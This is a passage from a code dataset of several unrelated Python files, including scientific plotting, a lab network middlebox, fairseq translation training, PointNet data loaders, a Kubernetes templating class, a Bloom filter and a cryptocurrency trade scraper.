green'],\n 'cheriff':sns.xkcd_rgb['denim blue']}\nparent_names = ['cschrimson', 'c1c2', 'cheriff']\n\nformatter = mtick.FormatStrFormatter('%.0f')\n\nwith open(root + '2016-06-22/props.pkl', 'rb') as f:\n props = pickle.load(f, encoding='latin1')\nwith open(root + '2016-06-22/validation_props.pkl', 'rb') as f:\n v_props = pickle.load(f, encoding='latin1')\n\n# cdfs\nfig = plt.figure()\nfig.set_size_inches(11.5,8)\nax1 = fig.add_subplot(111)\nprops = props.dropna()\nprops = props.sort_values('log_mKate')\nprops['mKate_rank'] = np.linspace(0.0, 1.0, len(props))\nprops = props.sort_values('log_GFP')\nprops['GFP_rank'] = np.linspace(0.0, 1.0, len(props))\nprops = props.sort_values('log_sum_ratio')\nprops['ratio_rank'] = np.linspace(0.0, 1.0, len(props))\nalpha = 0.7\nmKate_handle, = ax1.plot(props['log_mKate'], props['mKate_rank'],\n 'o', label='expression', alpha=alpha)\nGFP_handle, = ax1.plot(props['log_GFP'], props['GFP_rank'],\n 'o', label='localization', alpha=alpha)\nratio_handle, = ax1.plot(props['log_sum_ratio'], props['ratio_rank'],\n 'o', label='localization efficiency', alpha=alpha)\nax1.set_ylabel('cumulative probability')\nleg = ax1.legend(handles=[mKate_handle, GFP_handle, ratio_handle],\n loc='best', handletextpad=0)\nax1.margins(0.02)\nfig.savefig('plots/cdfs.pdf')\n\n# with verification\nkeep_me = ['name', 'log_mKate', 'log_GFP', 'log_sum_ratio']\nv_props = v_props[~v_props['name'].isin(parent_names)]\nall_props = pd.concat([props[keep_me], v_props[keep_me]])\nall_props = all_props.sort_values('log_mKate')\nall_props['mKate_rank'] = np.linspace(0.0, 1.0, len(all_props))\nall_props = all_props.sort_values('log_GFP')\nall_props['GFP_rank'] = np.linspace(0.0, 1.0, len(all_props))\nall_props = all_props.sort_values('log_sum_ratio')\nall_props['ratio_rank'] = np.linspace(0.0, 1.0, len(all_props))\nfig = plt.figure()\nfig.set_size_inches(11.5,8)\nax1 = fig.add_subplot(111)\nalpha = 0.1\nax1.plot(props['log_mKate'], props['mKate_rank'],\n 'o', label='expression', alpha=alpha)\nax1.plot(props['log_GFP'], props['GFP_rank'],\n 'o', label='localization', alpha=alpha)\nax1.plot(props['log_sum_ratio'], props['ratio_rank'],\n 'o', label='localization efficiency', alpha=alpha)\nveri = all_props[all_props['name'].isin(v_props['name'])]\nalpha = 1.0\nax1.set_prop_cycle(None)\nmKate_handle, = ax1.plot(veri['log_mKate'], veri['mKate_rank'],\n 'o', label='expression', alpha=alpha)\nGFP_handle, = ax1.plot(veri['log_GFP'], veri['GFP_rank'],\n 'o', label='localization', alpha=alpha)\nratio_handle, = ax1.plot(veri['log_sum_ratio'], veri['ratio_rank'],\n 'o', label='localization efficiency', alpha=alpha)\nax1.set_ylabel('cumulative probability')\nleg = ax1.legend(handles=[mKate_handle, GFP_handle, ratio_handle],\n loc='best', handletextpad=0)\nax1.margins(0.02)\nfig.savefig('plots/verification_cdfs.pdf')\n\nfor reg, clas, file_name, name, validation, y in zip(regression_data,\n class_data, file_names,\n names, validations, ys):\n r_df = pd.read_csv(data_folder + reg, skiprows=1, comment='#')\n c_df = pd.read_csv(data_folder + clas, comment='#')\n r_v = pd.read_csv(validation_folder + validation[0], comment='#')\n c_v = pd.read_csv(validation_folder + validation[1], comment='#')\n\n # plot regression and classification LOOs side by side\n fig = plt.figure()\n fig.set_size_inches((24,9))\n ax1 = fig.add_subplot(121)\n ax1.plot(r_df['y'], r_df['mu'], 'o', ms=12, color='grey', alpha=0.5)\n for p in parent_names:\n ax1.plot(r_df[r_df['name']==p]['y'], r_df[r_df['name']==p]['mu'],\n 'o', ms=14, color=parents[p], alpha=0.8)\n ax1.set_xlabel('measured\\n' + name)\n ax1.set_ylabel('predicted ' + name)\n ax1.set_title('regression')\n xlims = ax1.get_xlim()\n if name != 'expression':\n ylims = ax1.get_ylim()\n ylims = ax1.set_ylim([xlims[0] * 0.75, ylims[1]])\n ax2 = fig.add_subplot(122)\n c_df['real'] = [props[props['name']==n][y] for n in c_df['name']]\n ax2.plot(c_df['real'], c_df['pi'], 'o', ms=12, color='grey', alpha=0.5)\n for p in parent_names:\n ax2.plot(c_df[c_df['name']==p]['real'], c_df[c_df['name']==p]['pi'],\n 'o', ms=14, color=parents[p], alpha=0.8)\n frac = 0.9\n box = ax1.get_position()\n ax1.set_position([box.x0, box.y0,\n box.width * frac, box.height])\n box = ax2.get_position()\n ax2.set_position([box.x0 - box.width * (1-frac), box.y0,\n box.width * frac, box.height])\n\n lg = plt.legend(('training set', 'CsChrimR', 'C1C2', 'CheRiff'),\n loc='center left', bbox_to_anchor=(1, 0.5),\n frameon=True, handletextpad=0, borderpad=0.03)\n lowest_parent = min(props[props['name'].isin(parent_names)][y])\n ylims = ax2.set_ylim([0, 1])\n xlims = ax2.set_xlim(xlims)\n ax2.set_title('classification')\n ax2.axvspan(xlims[0], lowest_parent, facecolor='grey', alpha=0.2)\n ax2.axvline(lowest_parent, color=sns.xkcd_rgb['gold'], alpha=0.8)\n ax2.set_xlabel('measured\\n' + name)\n ax2.set_ylabel('predicted prob above parent')\n fig.savefig('plots/' + file_name + '_LOO.pdf',\n bbox_inches='tight')\n # plot combined regression and classification side by side\n ax1.plot(r_v['y'], r_v['mu'], 'o', ms=12, color='black', alpha=0.9)\n ax2.plot(c_v['real'], c_v['pi'], 'o', ms=12, color='black', alpha=0.9)\n handles, labels = ax2.get_legend_handles_labels()\n lg = plt.legend(handles[0:4] + [handles[-1]],\n ('training set', 'CsChrimR', 'C1C2', 'CheRiff', 'verify'),\n loc = 'center left', bbox_to_anchor=(1, 0.5),\n frameon=True, handletextpad=0, borderpad=0.03)\n fig.savefig('plots/' + file_name + '_combined.pdf', bbox_inches='tight')\n","sub_path":"2/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":7560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"210712872","text":"#!/usr/bin/env python3\n\nfrom switchyard.lib.address import *\nfrom switchyard.lib.packet import *\nfrom switchyard.lib.userlib import *\nfrom threading import *\nimport random\nimport time\n\ndef get_drop_rate():\n try:\n file = open(\"middlebox_params.txt\")\n line = file.read()\n rate_string = line[3:].rstrip()\n file.close()\n \n except FileNotFoundError:\n log_debug(\"File not found\")\n\n return float(rate_string)\n\ndef switchy_main(net):\n\n my_intf = net.interfaces()\n mymacs = [intf.ethaddr for intf in my_intf]\n myips = [intf.ipaddr for intf in my_intf]\n drop_rate = get_drop_rate()\n\n while True:\n gotpkt = True\n try:\n t,dev,pkt = net.recv_packet()\n log_debug(\"Device is {}\".format(dev))\n except NoPackets:\n log_debug(\"No packets available in recv_packet\")\n gotpkt = False\n except Shutdown:\n log_debug(\"Got shutdown signal\")\n break\n\n if gotpkt:\n log_debug(\"I got a packet {}\".format(pkt))\n\n if dev == \"middlebox-eth0\":\n log_debug(\"Received from blaster\")\n '''\n Received data packet\n Should I drop it?\n If not, modify headers & send to blastee\n '''\n r = random.random()\n if r <= drop_rate:\n continue\n\n pkt[0].src = \"40:00:00:00:00:02\"\n pkt[0].dst = \"20:00:00:00:00:01\"\n\n net.send_packet(\"middlebox-eth1\", pkt)\n elif dev == \"middlebox-eth1\":\n log_debug(\"Received from blastee\")\n '''\n Received ACK\n Modify headers & send to blaster. Not dropping ACK packets!\n '''\n \n pkt[0].src = \"40:00:00:00:00:01\"\n pkt[0].dst = \"10:00:00:00:00:01\"\n \n net.send_packet(\"middlebox-eth0\", pkt)\n\n else:\n log_debug(\"Oops :))\")\n\n net.shutdown()\n","sub_path":"reliable_communication/middlebox.py","file_name":"middlebox.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"10272299","text":"import tarfile\nimport os\n\ndef spacy_tokenize(src, dst):\n with open(src) as f, open(dst, 'w') as g:\n for x in f:\n x = x.strip()\n x = ' '.join([doc.text for doc in nlp(x)])\n print(x, file=g)\n\nwith tarfile.open('en-ja.tar.gz') as tar:\n for f in tar.getmembers():\n if f.name.endswith('txt'):\n text = tar.extractfile(f).read().decode('utf-8')\n break\n\ndata = text.splitlines()\ndata = [x.split('\\t') for x in data]\ndata = [x for x in data if len(x) == 4]\ndata = [[x[3], x[2]] for x in data]\n\nwith open('jparacrawl.ja', 'w') as f, open('jparacrawl.en', 'w') as g:\n for j, e in data:\n print(j, file=f)\n print(e, file=g)\n\nwith open('jparacrawl.ja') as f, open('train.jparacrawl.ja', 'w') as g:\n for x in f:\n x = x.strip()\n x = re.sub(r'\\s+', ' ', x)\n x = sp.encode_as_pieces(x)\n x = ' '.join(x)\n print(x, file=g)\n\nos.system(\"subword-nmt apply-bpe -c kyoto_en.codes < jparacrawl.en > train.jparacrawl.en\")\nos.system(\n\"fairseq-preprocess -s ja -t en \\\n --trainpref train.jparacrawl \\\n --validpref dev.sub \\\n --destdir data98 \\\n --workers 20\"\n)\nos.system(\n\"fairseq-train data98 \\\n --fp16 \\\n --save-dir save98_1 \\\n --max-epoch 3 \\\n --arch transformer --share-decoder-input-output-embed \\\n --optimizer adam --clip-norm 1.0 \\\n --lr 1e-4 --lr-scheduler inverse_sqrt --warmup-updates 4000 \\\n --dropout 0.1 --weight-decay 0.0001 \\\n --criterion label_smoothed_cross_entropy --label-smoothing 0.1 \\\n --max-tokens 8000 > 98_1.log\"\n)\nos.system(\"fairseq-interactive --path save98_1/checkpoint3.pt data98 < test.sub.ja | grep '^H' | cut -f3 | sed -r 's/(@@ )|(@@ ?$)//g' > 98_1.out\")\nspacy_tokenize('98_1.out', '98_1.out.spacy')\nos.system(\"fairseq-score --sys 98_1.out.spacy --ref test.spacy.en\")\nos.system(\n\"fairseq-preprocess -s ja -t en \\\n --trainpref train.sub \\\n --validpref dev.sub \\\n --tgtdict data98/dict.en.txt \\\n --srcdict data98/dict.ja.txt \\\n --destdir data98_2 \\\n --workers 20\"\n)\nos.system(\n\"fairseq-train data98_2 \\\n --fp16 \\\n --restore-file save98_1/checkpoint3.pt \\\n --save-dir save98_2 \\\n --max-epoch 10 \\\n --arch transformer --share-decoder-input-output-embed \\\n --optimizer adam --clip-norm 1.0 \\\n --lr 1e-3 --lr-scheduler inverse_sqrt --warmup-updates 2000 \\\n --dropout 0.1 --weight-decay 0.0001 \\\n --criterion label_smoothed_cross_entropy --label-smoothing 0.1 \\\n --max-tokens 8000 > 98_2.log\"\n)\nos.system(\"fairseq-interactive --path save98_2/checkpoint10.pt data98_2 < test.sub.ja | grep '^H' | cut -f3 | sed -r 's/(@@ )|(@@ ?$)//g' > 98_2.out\")\nspacy_tokenize('98_2.out', '98_2.out.spacy')\nos.system(\"fairseq-score --sys 98_2.out.spacy --ref test.spacy.en\")","sub_path":"seiichi/chapter10/98.py","file_name":"98.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"88179582","text":"import torch.utils.data\n\nfrom vision3d.datasets import ModelNet40Dataset\nimport vision3d.transforms.functional as F\nfrom vision3d.utils.pytorch_utils import reset_numpy_random_seed\n\n\nclass TrainTransform(object):\n def __init__(self, num_point, sigma, low, high):\n self.num_point = num_point\n self.sigma = sigma\n self.low = low\n self.high = high\n\n def __call__(self, points):\n points = F.sample_point_cloud(points, self.num_point)\n points = F.random_shuffle_point_cloud(points)\n points = F.random_rescale_point_cloud(points, self.low, self.high)\n points = F.random_jitter_point_cloud(points, self.sigma)\n points = points.transpose()\n points = torch.tensor(points, dtype=torch.float)\n return points\n\n def __repr__(self):\n format_string = self.__class__.__name__ + '(\\n'\n format_string += ' SamplePointCloud(num_point={})\\n'.format(self.num_point)\n format_string += ' RandomShufflePointCloud()\\n'\n format_string += ' RandomRescalePointCloud(low={}, high={})\\n'.format(self.low, self.high)\n format_string += ' RandomJitterPointCloud(sigma={})\\n'.format(self.sigma)\n format_string += ')'\n return format_string\n\n\nclass TestTransform(object):\n def __init__(self, num_point):\n self.num_point = num_point\n\n def __call__(self, points):\n points = F.sample_point_cloud(points, self.num_point)\n points = points.transpose()\n points = torch.tensor(points, dtype=torch.float)\n return points\n\n def __repr__(self):\n format_string = self.__class__.__name__ + '(\\n'\n format_string += ' SamplePointCloud(num_point={})\\n'.format(self.num_point)\n format_string += ')'\n return format_string\n\n\ndef train_data_loader(config):\n train_transform = TrainTransform(config.train_num_point,\n config.train_jitter_sigma,\n config.train_rescale_low,\n config.train_rescale_high)\n train_dataset = ModelNet40Dataset(config.data_root, 'train', train_transform)\n train_loader = torch.utils.data.DataLoader(train_dataset,\n batch_size=config.train_batch_size,\n shuffle=True,\n num_workers=config.train_num_worker,\n pin_memory=True,\n drop_last=True,\n worker_init_fn=reset_numpy_random_seed)\n return train_loader\n\n\ndef test_data_loader(config):\n test_transform = TestTransform(config.test_num_point)\n test_dataset = ModelNet40Dataset(config.data_root, 'test', test_transform)\n test_loader = torch.utils.data.DataLoader(test_dataset,\n batch_size=config.test_batch_size,\n num_workers=config.test_num_worker,\n worker_init_fn=reset_numpy_random_seed)\n return test_loader\n\n\nif __name__ == '__main__':\n from config import config\n\n data_loader = train_data_loader(config)\n for i, (x, y) in enumerate(data_loader):\n print(i, ': ', x.shape, y.shape)\n\n data_loader = test_data_loader(config)\n for i, (x, y) in enumerate(data_loader):\n print(i, ': ', x.shape, y.shape)\n","sub_path":"experiments/pointnet.modelnet40.resize+jitter.adam.tnet.smooth/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"452409097","text":"import copy\nimport logging\nimport os.path\nimport jinja2\nimport yaml\nimport jsonpatch\nimport json\nfrom collections import OrderedDict\nimport kpm.manifest as manifest\nfrom kpm.template_filters import jinja_filters\nfrom kpm.kub_base import KubBase\nfrom kpm.kubernetes import get_endpoint\nfrom kpm.utils import convert_utf8\n\n\n# __all__ = ['Kub']\n\nlogger = logging.getLogger(__name__)\n\n\n_mapping_tag = yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG\n\n\njinja_env = jinja2.Environment()\njinja_env.filters.update(jinja_filters())\n\n\nclass Kub(KubBase):\n def __init__(self, *args, **kwargs):\n super(Kub, self).__init__(*args, **kwargs)\n self.manifest = manifest.Manifest(self.package)\n\n @property\n def kubClass(self):\n return Kub\n\n def _create_namespaces(self, resources):\n # @TODO create namespaces for all manifests\n if self.namespace:\n ns = self.create_namespace(self.namespace)\n resources[ns['file']] = ns\n return resources\n\n def _append_patch(self, resources={}):\n index = 0\n\n for resource in self.manifest.resources:\n index += 1\n resources[resource['file']] = resource\n resource[\"order\"] = index\n if 'protected' not in resource:\n resource[\"protected\"] = False\n if 'patch' not in resource:\n resource['patch'] = []\n\n if self._deploy_resources is not None:\n for resource in self._deploy_resources:\n if 'patch' in resource and len(resource['patch']) > 0:\n resources[resource['file']][\"patch\"] += resource['patch']\n\n return resources\n\n def _generate_shards(self, resources):\n if not len(self.shards):\n return resources\n sharded = {}\n to_remove = []\n index = 0\n for _, resource in resources.iteritems():\n index += 1\n resource['order'] = index\n if 'sharded' in resource and resource['sharded'] is True:\n for shard in self.shards:\n shard_vars = shard.get('variables', {})\n shard_vars.update({\"name\": shard['name']})\n\n r = {\"file\": \"%s-%s.yaml\" % (os.path.splitext(resource['file'])[0].replace(\"/\", \"_\"),\n shard['name']),\n \"order\": index,\n \"protected\": False,\n \"template\": resource['file'],\n \"variables\": shard_vars,\n \"patch\": resource['patch'] + shard.get('patch', []),\n \"name\": \"%s-%s\" % (resource['name'], shard['name']),\n \"type\": resource['type']}\n sharded[r['file']] = r\n index += 1\n to_remove.append(resource['file'])\n map(resources.pop, to_remove)\n resources.update(sharded)\n return resources\n\n def _default_patch(self, resources):\n for _, resource in resources.iteritems():\n patch = [\n {\"op\": \"replace\",\n \"path\": \"/metadata/name\",\n \"value\": resource['name']},\n ]\n if 'patch' not in resource:\n resource['patch'] = []\n resource['patch'] += patch\n return resources\n\n def _resolve_jinja(self, resources, from_value=False):\n for _, resource in resources.iteritems():\n if 'template' in resource:\n tpl_file = resource['template']\n else:\n tpl_file = resource['file']\n if from_value or resource.get('generated', False) is True:\n val = yaml.safe_dump(convert_utf8(resource['value']), width=float(\"inf\"))\n else:\n val = self.package.files[os.path.join('templates', tpl_file)]\n template = jinja_env.from_string(val)\n variables = copy.deepcopy(self.variables)\n if 'variables' in resource:\n variables.update(resource['variables'])\n if len(self.shards):\n variables['kpmshards'] = self.shards\n t = template.render(variables)\n resource['value'] = yaml.safe_load(t)\n return resources\n\n def _apply_patches(self, resources):\n for _, resource in resources.iteritems():\n if self.namespace:\n if 'namespace' in resource['value']['metadata']:\n op = 'replace'\n else:\n op = 'add'\n resource['patch'].append({\"op\": op, \"path\": \"/metadata/namespace\", \"value\": self.namespace})\n\n if len(resource['patch']):\n patch = jsonpatch.JsonPatch(resource['patch'])\n result = patch.apply(resource['value'])\n resource['value'] = result\n return resources\n\n def resources(self):\n if self._resources is None:\n self._resources = OrderedDict()\n resources = self._resources\n resources = self._create_namespaces(resources)\n resources = self._append_patch(resources)\n resources = self._generate_shards(resources)\n resources = self._default_patch(resources)\n resources = self._resolve_jinja(resources)\n resources = self._apply_patches(resources)\n resources = self._resolve_jinja(resources, True)\n return self._resources\n\n def prepare_resources(self, dest=\"/tmp\", index=0):\n for _, resource in self.resources().iteritems():\n index += 1\n path = os.path.join(dest, \"%02d_%s_%s\" % (index,\n self.version,\n resource['file'].replace(\"/\", \"_\")))\n f = open(path, 'w')\n f.write(yaml.safe_dump(convert_utf8(resource['value'])))\n resource['filepath'] = f.name\n f.close()\n return index\n\n def build(self):\n result = []\n for kub in self.dependencies:\n kubresources = OrderedDict([(\"package\", kub.name),\n (\"version\", kub.version),\n (\"namespace\", kub.namespace),\n (\"resources\", [])])\n for _, resource in kub.resources().iteritems():\n resource = self._annotate_resource(kub, resource)\n\n kubresources['resources'].\\\n append(OrderedDict({\"file\": resource['file'],\n \"hash\": resource['value']['metadata']['annotations'].get('kpm.hash', None),\n \"protected\": resource['protected'],\n \"name\": resource['name'],\n \"kind\": resource['value']['kind'].lower(),\n \"endpoint\": get_endpoint(\n resource['value']['kind'].lower()).\n format(namespace=self.namespace),\n \"body\": json.dumps(resource['value'])}))\n\n result.append(kubresources)\n return {\"deploy\": result,\n \"package\": {\"name\": self.name,\n \"version\": self.version}}\n","sub_path":"kpm/kub.py","file_name":"kub.py","file_ext":"py","file_size_in_byte":7402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"643500346","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n## Import the related Libraries\nimport numpy as np\nimport statsmodels.api as sm ## OLS\nimport pandas as pd\nfrom scipy import stats\nfrom random import sample\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport sys\n\n## Load the data\nrawdata = np.genfromtxt(sys.argv[1], skip_header=1)\nX = rawdata[:, :-1]\ny = rawdata[:, -1]\n\ndef MLR(data, flag):\n X = data[:, :-1]\n y = data[:, -1]\n if flag == 1:\n ###### Ordinary least squares ######\n X2 = sm.add_constant(X) # for intercept\n est = sm.OLS(y, X2)\n est2 = est.fit()\n print(est2.summary())\n else:\n ###### Sklearn Linear regression ######\n Reg = LinearRegression()\n Reg.fit(X, y)\n params = np.append(Reg.intercept_, Reg.coef_)\n y_hat = Reg.predict(X)\n newX = np.append(np.ones((len(X), 1)), X, axis = 1)\n\n ## including intercept for matrix calculation\n MSE = (sum((y - y_hat)**2)) / (len(newX)-len(newX[0]))\n\n var_beta = MSE * (np.linalg.inv(np.dot(newX.T, newX)).diagonal())\n s_beta = np.sqrt(var_beta)\n t_beta = params / s_beta\n\n p_values = [2 * (1 - stats.t.cdf(np.abs(t), ( len(newX) - len(newX[0]) - 1))) for t in t_beta]\n\n # 반올림 작업.\n sd_b = np.round(s_beta, 3) ## Std.Errors of Coefficient\n ts_b = np.round(t_beta, 3) ## t-value\n p_values = np.round(p_values, 6) ## P-value\n params = np.round(params, 4) ## Coefficients\n\n R_squared = r2_score(y, y_hat)\n\n # Result table\n Result = pd.DataFrame()\n Result[\"Coefficients\"], Result[\"Std Error\"], Result[\"t values\"], Result[\"P-value\"], Result[\"MSE\"], Result[\"R-squared\"] = [params, sd_b, ts_b, p_values, MSE, R_squared]\n print(Result)\n return None\n\nMLR(X, int(sys.argv[2]))\n","sub_path":"Exercise-6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"566088690","text":"#!/usr/bin/env python2\n# coding=utf-8\n# order办理入库 __author__ = 'kayiyo'\n\nfrom framework import portal_base\nimport time\nimport random\n\norder = portal_base.PortalBase()\n\n\nclass OperationOut(object):\n def operation_out(self, order_xsht=\"ddgl\"):\n order_time = time.strftime(\"%Y%m%d%H%M%S\", time.localtime()) # 所有用到的编号\n\n # order.click_button(xpath=\".//*[@id='sider']/div/div[1]/div[1]/div[1]\") # 订单管理\n order.link_text(u\"出库管理\") # 仓库管理出库管理列表\n time.sleep(5)\n # 销售合同号搜索\n order.send_key(key1=order_xsht,\n xpath=\".//*[@id='出库管理']/div/div[1]/div/form/table/tbody/tr[1]/td[2]/span/input[1]\")\n # 出库状态质检完成搜索\n order.select(key1=4, xpath=\".//*[@id='出库管理']/div/div[1]/div/form/table/tbody/tr[3]/td[1]/span/input[1]\")\n order.link_text(u\"搜\") # 搜索\n time.sleep(5)\n order.link_text(u\"办理\")\n time.sleep(5)\n\n # # 附件\n # order.upload_file(file1=\"D:\\\\1fortest\\\\Order\\\\13operationOut.pdf\",\n # xpath=\".//*/div[2]/div[3]/div/div/form/div[16]/div[2]/table/tbody/tr/td[1]/p[2]/span\")\n\n order.link_text(u\"确认出库\")\n time.sleep(3)\n order.link_text(u\"确定\")\n time.sleep(3)\n order.link_text(u\"确定\")\n time.sleep(3)\n","sub_path":"Order_delivery_system/operation_out.py","file_name":"operation_out.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"196478230","text":"#bit_array = [0]*100\n#print(bit_array)\n##bit_array.setall(0)\n#b1 = hash(\"apple1\")#using 1 for seed\n##taking out remainder\n#index1 = b1%10\n#bit_array[index1] = 1\nclass BloomFilter: \n def __init__(self,size,hash_count):\n self.size = size\n self.hash_count = hash_count\n self.bit_array = [0]*size\n \n def add(self, string):\n for seed in range(self.hash_count):\n seeded_word = string+str(seed)\n index = hash(seeded_word)%self.size\n #print(index)\n self.bit_array[index] = 1 \n \n \n \n def lookup(self, string):\n for seed in range(self.hash_count):\n seeded_word = string+str(seed)\n index = hash(seeded_word)%self.size\n if(self.bit_array[index] == 0):\n return \"Nope\"\n return \"Probably\"\n \n \n","sub_path":"bloomfilter/bloom_filter.py","file_name":"bloom_filter.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"351357956","text":"#-*- coding: utf-8 -*-\nimport pymysql\nimport urllib.request\nimport json\nimport time\nimport sys\nimport re\nfrom bs4 import BeautifulSoup\nfrom enum import Enum\nimport hashlib\nfrom datetime import timedelta, timezone, datetime\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom queue import Queue\nfrom collections import OrderedDict\nimport schedule # pip install schedule, https://github.com/dbader/schedule\nfrom time import gmtime, strftime\nimport pytz\n\nfrom dbConfig import *\n\n\ncoin_name_list = ['BTC', 'ETH', 'DASH', 'LTC', 'ETC', 'XRP', 'BCH', 'XMR', 'ZEC'] # 9개 (QTUM 제외)\n# coin_name_list = ['ETH', 'DASH', 'LTC', 'ETC', 'XRP', 'BCH', 'XMR', 'ZEC'] # 8개\n\nlength_process = 100\n\ninsert_trade_sql = \"INSERT INTO `TRADE_{0:s}` (`date`, `exchange_rate`, `price`, `price2`, `amount`, `total`, `type`, `exchange`, `count`, `trade_id`) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s);\"\nselect_trade_sql = \"SELECT count(*) FROM `TRADE_{0:s}` WHERE `trade_id`=%s\"\nselect_in_sql = \"SELECT `trade_id` FROM `TRADE_{0:s}` WHERE %s\"\nselect_trade_all_sql = \" UNION \".join(list(map(lambda x: \"(SELECT '\" + x + \"', `price2`, `date` FROM trade.TRADE_\" + x + \" order by id desc limit 1)\", coin_name_list)))\nselect_in_sql = \"SELECT `trade_id` FROM `TRADE_{0:s}` WHERE %s\"\nselect_f_exchange_sql = \"SELECT * FROM `F_EXCHANGE` WHERE `timestamp`=%s and `quote`=%s;\"\ninsert_f_exchange_sql = \"INSERT INTO `F_EXCHANGE` (`timestamp`, `quote`) VALUES (%s, %s);\"\n\nclass Terms_Bithumb(Enum):\n sell = \"bid\"\n buy = \"ask\"\n\nclass Terms_Poloniex(Enum):\n sell = \"sell\"\n buy = \"buy\"\n\ncumulative_bithumb_call_count = 0\ncumulative_poloniex_call_count = 0\n\nprevious_t_bithumb = {}\nprevious_t_poloniex = {}\nexist_bithumb_table_records = {}\n\nfor coin_name in coin_name_list:\n previous_t_bithumb[coin_name] = [{\"transaction_date\":\"1511031406\",\"type\":\"ask\",\"units_traded\":\"0.042\",\"price\":\"9047000\",\"total\":\"379974\"}]\n previous_t_poloniex[coin_name] = [\n {\"globalTradeID\": 266012461, \"tradeID\": 12459517, \"date\": \"2017-11-22 01:34:12\", \"type\": \"sell\",\n \"rate\": \"8101.67292206\", \"amount\": \"0.05619519\", \"total\": \"455.27504917\"}]\n exist_bithumb_table_records[coin_name] = OrderedDict()\n\nrecent_foreign_exchange_rate = (\"1092.90\", \"2017-11-22 11:16:00\")\n\nclass ConnectionPool():\n \"\"\"\n Usage:\n conn_pool = ConnectionPool(max_pool_size = 5)\n conn = conn_pool.get_connection()\n conn_pool.return_connection(db)\n conn_pool.close()\n \"\"\"\n def __init__(self, max_pool_size=5):\n self.max_pool_size = max_pool_size\n self.initialize_pool()\n\n def initialize_pool(self):\n self.pool = Queue(maxsize=self.max_pool_size)\n for _ in range(0, self.max_pool_size):\n self.pool.put_nowait(\n pymysql.connect(host=dbURL,\n port=dbPort,\n user=dbUser,\n passwd=dbPass,\n db=dbName,\n charset='utf8mb4',\n use_unicode=True\n )\n )\n\n def get_connection(self):\n # returns a conn instance when one is available else waits until one is\n conn = self.pool.get(True)\n\n # checks if conn is still connected because conn instance automatically closes when not in used\n if not self.ping(conn):\n conn.connect()\n\n return conn\n\n def return_connection(self, conn):\n return self.pool.put_nowait(conn)\n\n def close(self):\n while not self.is_empty():\n self.pool.get().close()\n\n def ping(self, conn):\n data = conn.query('SELECT 1', [])\n return data\n\n def get_initialized_connection_pool(self):\n return self.pool\n\n def is_empty(self):\n return self.pool.empty()\n\nconn_pool = ConnectionPool(max_pool_size = 5)\n\ndef by_trade_timestamp(trade):\n return trade['transaction_date']\n\ndef by_trade_date(trade):\n return trade['date']\n\ndef utc_to_asia_seoul(utc_dt):\n local_tz = pytz.timezone('Asia/Seoul')\n local_dt = utc_dt.replace(tzinfo=pytz.utc).astimezone(local_tz)\n return local_tz.normalize(local_dt)\n\ndef get_trade_bithumb(coin_name, conn):\n global previous_t_bithumb\n global exist_bithumb_table_records\n\n try:\n url_s = 'https://api.bithumb.com/public/recent_transactions/' + coin_name + '?count=' + str(length_process)\n raw_read = urllib.request.urlopen(url_s).read()\n t_bithumb = json.loads(raw_read)['data']\n except BaseException as e:\n print(\"Bithumb API Exception!!! - \", e)\n return 0\n\n for trade in t_bithumb:\n timestamp = int(time.mktime(datetime.strptime(trade['transaction_date'], \"%Y-%m-%d %H:%M:%S\").timetuple()))\n trade['transaction_date'] = timestamp\n\n t_bithumb.sort(key=by_trade_timestamp, reverse=True)\n\n last_t_trade = t_bithumb[-1]\n\n found_same = False\n for p_idx, p_trade in enumerate(previous_t_bithumb[coin_name]):\n if p_trade['transaction_date'] == last_t_trade['transaction_date'] and \\\n p_trade['units_traded'] == last_t_trade['units_traded'] and \\\n p_trade['price'] == last_t_trade['price'] and \\\n p_trade['type'] == last_t_trade['type'] and \\\n p_trade['total'] == last_t_trade['total']:\n found_same = True\n break\n if found_same:\n new_trade_list = t_bithumb[:len(t_bithumb) - p_idx - 1]\n else:\n new_trade_list = t_bithumb\n\n previous_t_bithumb[coin_name] = sorted(t_bithumb, key=by_trade_timestamp, reverse=True)\n\n if len(new_trade_list) > 0:\n new_trade_list.reverse()\n trade_id_count = {}\n for trade in new_trade_list:\n date = trade['transaction_date']\n amount = trade['units_traded']\n price = trade['price']\n type = Terms_Bithumb(trade['type']).name\n total = trade['total']\n trade_id = hashlib.sha224((str(date) + amount + price + type + total).encode('utf-8')).hexdigest()\n\n if trade_id in exist_bithumb_table_records[coin_name].keys():\n trade_id_count[trade_id] = exist_bithumb_table_records[coin_name][trade_id] + 1\n else:\n if trade_id in trade_id_count.keys():\n trade_id_count[trade_id] += 1\n else:\n trade_id_count[trade_id] = 1\n try:\n date = datetime.fromtimestamp(trade['transaction_date']).strftime('%Y-%m-%d %H:%M:%S')\n exist_bithumb_table_records[coin_name][trade_id] = trade_id_count[trade_id]\n cursor = conn.cursor()\n cursor.execute(\n insert_trade_sql.format(coin_name),\n (date, str(1.0), price, price, amount, total, type, 'bithumb', trade_id_count[trade_id], trade_id)\n )\n except Exception as e:\n print(\"Bithumb Insert Exception\", e)\n pass\n conn.commit()\n\n over_num_queue = 